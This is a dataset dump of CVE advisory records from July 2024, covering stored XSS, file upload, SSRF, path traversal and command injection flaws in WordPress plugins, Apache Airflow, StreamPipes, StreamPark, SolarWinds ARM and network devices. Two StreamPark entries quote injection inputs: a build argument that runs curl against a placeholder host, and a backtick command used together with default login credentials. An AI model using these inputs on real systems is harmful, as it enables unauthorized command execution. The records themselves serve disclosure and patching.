deardaniel/secdata-raw huggingface dataset:
CVE: CVE-2024-6669
Published: 2024-07-17
Description: The AI ChatBot for WordPress – WPBot plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 5.5.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-79, CWE-79
References: https://plugins.trac.wordpress.org/browser/chatbot/trunk/admin_ui.php#L2211; https://plugins.trac.wordpress.org/browser/chatbot/trunk/admin_ui.php#L755; https://plugins.trac.wordpress.org/changeset/3119022/
CVE: CVE-2024-39863
Published: 2024-07-17
Description: Apache Airflow versions before 2.9.3 have a vulnerability that allows an authenticated attacker to inject a malicious link when installing a provider. Users are recommended to upgrade to version 2.9.3, which fixes this issue.

CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79, CWE-79
References: https://github.com/apache/airflow/pull/40475; https://lists.apache.org/thread/gxkvs279f1mbvckv5q65worr6how20o3; http://www.openwall.com/lists/oss-security/2024/07/16/6
CVE: CVE-2024-39877
Published: 2024-07-17
Description: Apache Airflow 2.4.0, and versions before 2.9.3, has a vulnerability that allows authenticated DAG authors to craft a doc_md parameter in a way that could execute arbitrary code in the scheduler context, which should be forbidden according to the Airflow Security model. Users should upgrade to version 2.9.3 or later which has removed the vulnerability.
CVSS Score: 8.8 (HIGH)
CWE: CWE-94, CWE-277
References: https://github.com/apache/airflow/pull/40522; https://lists.apache.org/thread/1xhj9dkp37d6pzn24ll2mf94wbqnb2y1; http://www.openwall.com/lists/oss-security/2024/07/16/7
CVE: CVE-2024-5582
Published: 2024-07-17
Description: The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'url' attribute within the Q&A Block widget in all versions up to, and including, 1.33 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Score: 6.4 (MEDIUM)
CWE: CWE-79, CWE-79
References: https://plugins.trac.wordpress.org/browser/schema-and-structured-data-for-wp/tags/1.31/modules/elementor/widgets/qanda-block.php#L355; https://plugins.trac.wordpress.org/browser/schema-and-structured-data-for-wp/trunk/modules/elementor/widgets/class-qanda-block.php#L369; https://wordpress.org/plugins/schema-and-structured-data-for-wp/#developers
CVE: CVE-2024-5703
Published: 2024-07-17
Description: The Email Subscribers by Icegram Express – Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to unauthorized API access due to a missing capability check in all versions up to, and including, 5.7.26. This makes it possible for authenticated attackers, with Subscriber-level access and above, to access the API (provided it is enabled) and add, edit, and delete audience users.
CVSS Score: 4.3 (MEDIUM)
CWE: CWE-862, CWE-862
References: https://plugins.trac.wordpress.org/browser/email-subscribers/trunk/lite/admin/class-es-rest-api-admin.php#L25; https://plugins.trac.wordpress.org/changeset/3118326/email-subscribers/trunk/lite/admin/class-es-rest-api-admin.php; https://www.wordfence.com/threat-intel/vulnerabilities/id/22283650-36bf-43e5-a57e-a91025fb2af7?source=cve
CVE: CVE-2024-6220
Published: 2024-07-17
Description: The 简数采集器 (Keydatas) plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the keydatas_downloadImages function in all versions up to, and including, 2.5.2. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-434, CWE-434
References: https://plugins.trac.wordpress.org/browser/keydatas/trunk/keydatas.php; https://plugins.trac.wordpress.org/changeset/3127334/keydatas?contextall=1; https://www.wordfence.com/threat-intel/vulnerabilities/id/49ae7971-7bdf-4369-b04b-fb48ea5b9518?source=cve
CVE: CVE-2023-52291
Published: 2024-07-17
Description: In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.

Background:

In the "Project" module, the maven build args  “<” operator causes command injection. e.g : “< (curl  http://xxx.com )” will be executed as a command injection,

Mitigation:

all users should upgrade to 2.1.4,  The "<" operator will blocked。
CVSS Score: 4.7 (MEDIUM)
CWE: CWE-77
References: http://www.openwall.com/lists/oss-security/2024/07/17/1; https://lists.apache.org/thread/pl6xgzoqrl4kcn0nt55zjbsx8dn80mkf; http://www.openwall.com/lists/oss-security/2024/07/17/1
CVE: CVE-2024-29737
Published: 2024-07-17
Description: In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.

Mitigation:

all users should upgrade to 2.1.4

Background info:

Log in to Streampark using the default username (e.g. test1, test2, test3) and the default password (streampark). Navigate to the Project module, then add a new project. Enter the git repository address of the project and input `touch /tmp/success_2.1.2` as the "Build Argument". Note that there is no verification and interception of the special character "`". As a result, you will find that this injection command will be successfully executed after executing the build.

In the latest version, the special symbol ` is intercepted.
CVSS Score: 4.7 (MEDIUM)
CWE: CWE-77
References: http://www.openwall.com/lists/oss-security/2024/07/17/2; https://lists.apache.org/thread/xhx7jt1t24s6d7o435wxng8t0ojfbfh5; http://www.openwall.com/lists/oss-security/2024/07/17/2
CVE: CVE-2024-30471
Published: 2024-07-17
Description: Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in Apache StreamPipes in user self-registration.
This allows an attacker to potentially request the creation of multiple accounts with the same email address until the email address is registered, creating many identical users and corrupting StreamPipe's user management.
This issue affects Apache StreamPipes: through 0.93.0.

Users are recommended to upgrade to version 0.95.0, which fixes the issue.


CVSS Score: 3.7 (LOW)
CWE: CWE-367, CWE-367
References: https://lists.apache.org/thread/8yodrmohgcybq900or3d4hc1msl230fr; http://www.openwall.com/lists/oss-security/2024/07/16/9; https://lists.apache.org/thread/8yodrmohgcybq900or3d4hc1msl230fr
CVE: CVE-2024-31070
Published: 2024-07-17
Description: Initialization of a resource with an insecure default vulnerability in FutureNet NXR series, VXR series and WXR series provided by Century Systems Co., Ltd. allows a remote unauthenticated attacker to access telnet service unlimitedly.
CVSS Score: 9.1 (CRITICAL)
CWE: CWE-1188, CWE-1188
References: https://jvn.jp/en/vu/JVNVU96424864/; https://www.centurysys.co.jp/backnumber/nxr_common/20240716-01.html; https://www.centurysys.co.jp/backnumber/nxr_common/20240716-03.html
CVE: CVE-2024-31979
Published: 2024-07-17
Description: Server-Side Request Forgery (SSRF) vulnerability in Apache StreamPipes during installation process of pipeline elements.
Previously, StreamPipes allowed users to configure custom endpoints from which to install additional pipeline elements. 
These endpoints were not properly validated, allowing an attacker to get StreamPipes to send an HTTP GET request to an arbitrary address.
This issue affects Apache StreamPipes: through 0.93.0.

Users are recommended to upgrade to version 0.95.0, which fixes the issue.


CVSS Score: 4.3 (MEDIUM)
CWE: CWE-918
References: https://lists.apache.org/thread/8lryp3bxnby9kmk13odkz2jbfdjfvf0y; http://www.openwall.com/lists/oss-security/2024/07/16/11; https://lists.apache.org/thread/8lryp3bxnby9kmk13odkz2jbfdjfvf0y
CVE: CVE-2024-36475
Published: 2024-07-17
Description: FutureNet NXR series, VXR series and WXR series provided by Century Systems Co., Ltd. contain an active debug code vulnerability. If a user who knows how to use the debug function logs in to the product, the debug function may be used and an arbitrary OS command may be executed.
CVSS Score: 8.8 (HIGH)
CWE: CWE-78, CWE-489
References: https://jvn.jp/en/vu/JVNVU96424864/; https://www.centurysys.co.jp/backnumber/nxr_common/20240716-01.html; https://www.centurysys.co.jp/backnumber/nxr_common/20240716-03.html
CVE: CVE-2024-36491
Published: 2024-07-17
Description: FutureNet NXR series, VXR series and WXR series provided by Century Systems Co., Ltd. allow an administrative user to execute an arbitrary OS command, obtain and/or alter sensitive information, and cause a denial-of-service (DoS) condition.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-78, CWE-78
References: https://jvn.jp/en/vu/JVNVU96424864/; https://www.centurysys.co.jp/backnumber/nxr_common/20240716-01.html; https://www.centurysys.co.jp/backnumber/nxr_common/20240716-03.html
CVE: CVE-2024-40617
Published: 2024-07-17
Description: Path traversal vulnerability exists in FUJITSU Network Edgiot GW1500 (M2M-GW for FENICS). If a remote authenticated attacker with User Class privilege sends a specially crafted request to the affected product, access restricted files containing sensitive information may be accessed. As a result, Administrator Class privileges of the product may be hijacked.
CVSS Score: 6.5 (MEDIUM)
CWE: CWE-22, CWE-22
References: https://fenics.fujitsu.com/networkservice/m2m/download/update-m.html; https://jvn.jp/en/jp/JVN25583987/; https://fenics.fujitsu.com/networkservice/m2m/download/update-m.html
CVE: CVE-2024-31411
Published: 2024-07-17
Description: Unrestricted Upload of File with dangerous type vulnerability in Apache StreamPipes.
Such a dangerous type might be an executable file that may lead to a remote code execution (RCE).
The unrestricted upload is only possible for authenticated and authorized users.
This issue affects Apache StreamPipes: through 0.93.0.

Users are recommended to upgrade to version 0.95.0, which fixes the issue.


CVSS Score: 8.8 (HIGH)
CWE: CWE-434
References: https://lists.apache.org/thread/b0657okbwzg5xxs11hphvc9qrd9s70mt; http://www.openwall.com/lists/oss-security/2024/07/16/10; https://lists.apache.org/thread/b0657okbwzg5xxs11hphvc9qrd9s70mt
CVE: CVE-2024-27311
Published: 2024-07-17
Description: Zohocorp ManageEngine DDI Central versions 4001 and prior were vulnerable to directory traversal vulnerability which allows the user to upload new files to the server folder.
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-434, CWE-434
References: https://www.manageengine.com/dns-dhcp-ipam/security-updates/cve-2024-27311.html; https://www.manageengine.com/dns-dhcp-ipam/security-updates/cve-2024-27311.html
CVE: CVE-2024-5471
Published: 2024-07-17
Description: Zohocorp ManageEngine DDI Central versions 4001 and prior were vulnerable to agent takeover vulnerability due to the hard-coded sensitive keys.
CVSS Score: 8.8 (HIGH)
CWE: CWE-798, CWE-798
References: https://www.manageengine.com/dns-dhcp-ipam/security-updates/cve-2024-5471.html; https://www.manageengine.com/dns-dhcp-ipam/security-updates/cve-2024-5471.html
CVE: CVE-2024-6765
Published: 2024-07-17
Description: Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE: CVE-2023-7272
Published: 2024-07-17
Description: In Eclipse Parsson before 1.0.4 and 1.1.3, a document with a large depth of nested objects can allow an attacker to cause a Java stack overflow exception and denial of service. Eclipse Parsson allows processing (e.g. parse, generate, transform and query) JSON documents.
CVSS Score: 8.6 (HIGH)
CWE: CWE-787, CWE-787
References: https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/12; https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/12
CVE: CVE-2024-23465
Published: 2024-07-17
Description: The SolarWinds Access Rights Manager was found to be susceptible to an authentication bypass vulnerability. This vulnerability allows an unauthenticated user to gain domain admin access within the Active Directory environment.     
CVSS Score: 8.3 (HIGH)
CWE: CWE-287, CWE-287
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-23466
Published: 2024-07-17
Description: SolarWinds Access Rights Manager (ARM) is susceptible to a Directory Traversal Remote Code Execution vulnerability. If exploited, this vulnerability allows an unauthenticated user to perform the actions with SYSTEM privileges.  
CVSS Score: 9.6 (CRITICAL)
CWE: CWE-22
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-23467
Published: 2024-07-17
Description: The SolarWinds Access Rights Manager was susceptible to a Directory Traversal and Information Disclosure Vulnerability. This vulnerability allows an unauthenticated user to perform remote code execution.
CVSS Score: 9.6 (CRITICAL)
CWE: CWE-22
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-23468
Published: 2024-07-17
Description: The SolarWinds Access Rights Manager was susceptible to a Directory Traversal and Information Disclosure Vulnerability. This vulnerability allows an unauthenticated user to perform arbitrary file deletion and leak sensitive information.
CVSS Score: 7.6 (HIGH)
CWE: CWE-22
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-23469
Published: 2024-07-17
Description: SolarWinds Access Rights Manager (ARM) is susceptible to a Remote Code Execution vulnerability. If exploited, this vulnerability allows an unauthenticated user to perform the actions with SYSTEM privileges. 
CVSS Score: 9.6 (CRITICAL)
CWE: CWE-20
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-23470
Published: 2024-07-17
Description: The SolarWinds Access Rights Manager was found to be susceptible to a pre-authentication remote code execution vulnerability. If exploited, this vulnerability allows an unauthenticated user to run commands and executables. 
CVSS Score: 9.6 (CRITICAL)
CWE: CWE-287
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-23471
Published: 2024-07-17
Description: The SolarWinds Access Rights Manager was found to be susceptible to a Remote Code Execution Vulnerability. If exploited, this vulnerability allows an authenticated user to abuse a SolarWinds service resulting in remote code execution. 
CVSS Score: 9.6 (CRITICAL)
CWE: CWE-287
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-23472
Published: 2024-07-17
Description: SolarWinds Access Rights Manager (ARM) is susceptible to Directory Traversal vulnerability. This vulnerability allows an authenticated user to arbitrary  read and delete files in ARM.
CVSS Score: 9.6 (CRITICAL)
CWE: CWE-22
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-23474
Published: 2024-07-17
Description: The SolarWinds Access Rights Manager was found to be susceptible to an Arbitrary File Deletion and Information Disclosure vulnerability.
CVSS Score: 7.6 (HIGH)
CWE: CWE-22
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-23475
Published: 2024-07-17
Description: The SolarWinds Access Rights Manager was susceptible to a Directory Traversal and Information Disclosure Vulnerability. This vulnerability allows an unauthenticated user to perform arbitrary file deletion and leak sensitive information.
CVSS Score: 9.6 (CRITICAL)
CWE: CWE-22
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-28074
Published: 2024-07-17
Description: It was discovered that a previous vulnerability was not completely fixed with SolarWinds Access Rights Manager. While some controls were implemented the researcher was able to bypass these and use a different method to exploit the vulnerability.
CVSS Score: 9.6 (CRITICAL)
CWE: CWE-502
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-28992
Published: 2024-07-17
Description: The SolarWinds Access Rights Manager was susceptible to a Directory Traversal and Information Disclosure Vulnerability. This vulnerability allows an unauthenticated user to perform arbitrary file deletion and leak sensitive information.
CVSS Score: 7.6 (HIGH)
CWE: CWE-287, CWE-22
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-28993
Published: 2024-07-17
Description: The SolarWinds Access Rights Manager was susceptible to a Directory Traversal and Information Disclosure Vulnerability. This vulnerability allows an unauthenticated user to perform arbitrary file deletion and leak sensitive information.
CVSS Score: 7.6 (HIGH)
CWE: CWE-22
References: https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm; https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2024-3_release_notes.htm
CVE: CVE-2024-29120
Published: 2024-07-17
Description: In Streampark (version < 2.1.4), when a user logged in successfully, the Backend service would return "Authorization" as the front-end authentication credential.  User can use this credential to request other users' information, including the administrator's username, password, salt value, etc. 

Mitigation:

all users should upgrade to 2.1.4
CVSS Score: 5.9 (MEDIUM)
CWE: CWE-212, CWE-922
References: http://www.openwall.com/lists/oss-security/2024/07/17/4; https://lists.apache.org/thread/y3oqz7l8vd7jxxx3z2khgl625nvfr60j; http://www.openwall.com/lists/oss-security/2024/07/17/4
CVE: CVE-2024-6833
Published: 2024-07-17
Description: A vulnerability in Zowe CLI allows local, privileged actors to store previously entered secure credentials in a plaintext file as part of an auto-init operation.
CVSS Score: 5.9 (MEDIUM)
References: https://github.com/zowe/zowe-cli/; https://github.com/zowe/zowe-cli/
CVE: CVE-2024-6834
Published: 2024-07-17
Description: A vulnerability in APIML Spring Cloud Gateway which leverages user privileges by unexpected signing proxied request by Zowe's client certificate. This allows access to a user to the endpoints requiring an internal client certificate without any credentials. It could lead to managing components in there and allow an attacker to handle the whole communication including user credentials.
CVSS Score: 9.0 (CRITICAL)
CWE: CWE-250
References: https://github.com/zowe/api-layer; https://github.com/zowe/api-layer
CVE: CVE-2023-4976
Published: 2024-07-17
Description: A flaw exists in FlashBlade whereby a local account is permitted to authenticate to the management interface using an unintended method that allows an attacker to gain privileged access to the array.
CWE: CWE-269
References: https://www.purestorage.com/security; https://purestorage.com/security
CVE: CVE-2024-6830
Published: 2024-07-17
Description: A vulnerability, which was classified as critical, was found in SourceCodester Simple Inventory Management System 1.0. Affected is an unknown function of the file action.php of the component Order Handler. The manipulation of the argument order_id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-271812.
CVSS Score: 6.3 (MEDIUM)
CWE: CWE-89
References: https://github.com/Xu-Mingming/cve/blob/main/sql1.md; https://vuldb.com/?ctiid.271812; https://vuldb.com/?id.271812
CVE: CVE-2024-20296
Published: 2024-07-17
Description: A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to upload arbitrary files to an affected device. To exploit this vulnerability, an attacker would need at least valid Policy Admin credentials on the affected device.
 This vulnerability is due to improper validation of files that are uploaded to the web-based management interface. An attacker could exploit this vulnerability by uploading arbitrary files to an affected device. A successful exploit could allow the attacker to store malicious files on the system, execute arbitrary commands on the operating system, and elevate privileges to root.
CVSS Score: 4.7 (MEDIUM)
CWE: CWE-434, CWE-434
References: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-file-upload-krW2TxA9; https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-file-upload-krW2TxA9